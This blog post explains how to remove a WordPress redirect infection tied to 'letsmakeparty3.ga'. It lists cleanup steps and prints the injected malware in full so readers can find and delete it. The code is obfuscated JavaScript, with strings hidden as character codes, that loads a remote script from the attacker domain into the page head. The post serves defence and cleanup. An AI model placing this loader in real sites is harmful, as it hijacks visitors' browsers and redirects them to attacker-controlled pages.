Posted on 1 Comment

How To Remove Redirect “letsmakeparty3.ga” in WordPress

Hi! Today my website was injected with code that redirect to spam website. After looking for solutions on the web, there are few solutions.

  1. Change HOME URL and SITE URL manually in phpMyAdmin.
  2. Remove “code” in themes/xxx/header.php
  3. Delete /plugins/mu-plugins/rms_unique_wp_mu_pl_fl_nm.php files in WordPress directory
  4. Remove  “letsmakeparty3.ga” in database and files
  5. Install anti-malware plugins or install WordPress from scratch

After changing the home url in step number 1, i still have problem with the header. I found out one code embedded on the head. Please find code below and delete from core files.

Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,97,108,108,111,119,46,108,101,116,115,109,97,107,101,112,97,114,116,121,51,46,103,97,47,108,46,106,115,63,100,61,49);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();

Im using Brackets.io to search all files in WordPress directory and remove manually. You also can install from stracth to avoid problems in future.

1 thought on “How To Remove Redirect “letsmakeparty3.ga” in WordPress

  1. Thank you so much for valuable information, you helped me a lot 👍

Leave a Reply

Your email address will not be published. Required fields are marked *